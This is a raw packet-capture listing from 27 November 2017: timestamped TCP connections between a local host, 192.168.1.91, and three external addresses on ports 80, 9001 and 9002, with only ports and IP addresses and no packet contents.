Nov 27, 2017 12:35:46.336752892 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:46.336774111 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:46.432593107 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:46.432625055 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:46.432785034 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:46.432812929 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:46.439755917 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:46.439779043 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:46.439883947 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:46.439912081 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:46.458846092 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:46.458877087 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:46.459243059 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:46.459264994 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:46.479343891 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:46.479367971 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:46.479461908 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:46.479480982 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:46.486287117 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:46.486313105 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:46.486500978 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:46.486520052 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:46.508687019 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:46.508714914 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:46.508872986 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:46.508927107 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:46.590965986 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:46.590986967 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:46.590993881 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:46.591079950 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:46.591103077 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:46.603255987 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:46.603270054 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:46.603374958 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:46.603391886 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:46.610294104 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:46.610316992 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:46.610420942 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:46.610457897 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:46.630685091 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:46.630985975 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:46.727622032 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:46.727710962 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:46.871639967 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.086206913 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:47.415627956 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.415822029 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:47.521902084 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:47.521970987 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.522423983 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:47.522448063 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.522721052 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:47.522736073 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.523860931 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:47.523875952 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.524292946 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:47.524307966 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.524534941 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:47.524549007 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.524657011 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:47.524671078 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.525418997 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:47.525446892 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.525455952 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.525464058 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.525470018 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.525475979 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.525480986 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.525485992 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.525491953 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.525579929 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:47.525593996 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.525602102 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.525608063 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.525614023 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.525618076 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.525624037 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.525650978 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.529923916 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:47.529959917 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.529973984 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.529978991 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.529984951 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.529989958 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.529995918 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.530000925 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.530005932 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.530384064 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:47.530400991 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.530410051 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.530415058 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.530421019 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.530426025 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.530431032 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.530436039 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.530440092 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.530446053 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.533266068 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:47.533305883 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.533318996 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.533324957 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.533329964 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.533334970 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.533340931 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.533345938 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.533351898 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.533356905 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.533756018 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:47.533772945 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.533782005 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.533787966 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.533792019 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.534830093 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:47.538350105 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:47.538392067 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.539242029 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:47.539261103 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.539484024 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:47.539500952 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.539573908 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:47.539587021 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.539813995 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:47.539833069 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.540436983 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:47.540455103 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.540667057 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:47.540683031 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.540743113 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:47.540756941 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.540925026 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:47.540937901 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.541440010 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:47.541455030 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.541657925 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:47.541671991 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.541745901 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:47.541759014 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.541981936 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:47.541995049 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.542115927 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:47.542130947 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.542208910 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:47.542743921 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:47.542759895 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.542974949 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:47.543009996 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.543041945 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:47.543055058 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.543229103 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:47.544523954 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:47.544544935 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.544776917 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:47.544794083 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.545615911 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:47.545631886 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.545644999 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.545651913 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.545658112 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.545665026 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.545671940 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.545677900 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.545685053 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.545691013 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.545696974 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.545818090 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:47.545835972 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.545845985 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.545852900 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.545859098 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.545865059 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.545871973 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.545877934 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.545883894 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.545890093 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.545897007 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.545902967 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.546513081 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:47.546613932 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:47.546633005 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.546642065 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.546659946 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.546667099 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.546673059 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.546679020 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.546684980 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.546690941 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.546698093 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.546704054 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.546710014 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.546922922 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:47.547552109 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:47.547571898 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.547583103 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.547590017 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.547595978 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.547619104 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.547625065 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.547637939 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.547643900 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.547657967 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.547663927 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.547818899 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:47.547840118 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.547849894 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.547856092 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.547862053 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.547873974 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.547879934 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.547887087 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.547909021 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:47.547935963 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.547946930 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.547951937 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.547961950 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.547966957 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.547972918 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.547977924 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.547986031 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.547991991 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.547996998 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.548002005 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.548778057 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:47.548904896 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:47.548930883 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:47.548945904 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.548955917 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.548962116 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.548968077 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.548974037 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.548979998 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.549796104 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:47.549902916 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:47.550205946 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:47.550224066 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.550770044 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:47.551302910 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:47.551692963 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:47.551712990 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.551726103 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.551737070 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.551845074 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:47.552618027 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:47.553972960 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:47.561709881 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:47.561741114 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.562597990 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:47.562618971 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.591618061 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.591839075 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:47.591865063 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.745171070 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.745182037 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.745184898 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.745383024 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:47.759141922 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.759169102 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.759180069 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.759526014 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:47.766158104 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.769722939 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.769742012 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.769829035 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.769839048 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.769848108 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.769922018 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.769932985 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.770342112 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:47.770371914 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.773164034 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.773185968 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.773596048 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:47.773623943 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.792984009 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.793001890 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.793009043 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.793440104 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:47.800597906 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.800616980 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.800623894 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.800636053 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.800971985 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:47.801002026 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:47.801017046 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.807488918 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.807508945 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.807635069 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.807661057 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.807678938 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.807924986 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:47.807949066 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.815818071 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.815838099 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.815963984 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:47.815989971 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.816569090 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.816582918 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.816692114 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.816705942 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.816711903 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.816865921 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:47.816894054 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.817203045 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.817219019 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.817334890 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:47.817357063 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.836179972 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.836211920 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.836464882 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:47.836486101 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.837702036 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.837718964 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.837753057 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.838294029 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:47.838314056 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.838551998 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.838565111 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.838701963 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.838716030 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.838725090 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.838793039 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.838803053 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.838872910 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.838882923 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.838891983 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.839101076 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:47.839119911 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.839171886 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:47.839186907 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.842411995 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.842535973 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.842762947 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.842781067 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.842793941 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.843090057 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:47.843117952 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.843595028 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.843633890 CET	80	49181	85.25.213.211	192.168.1.91
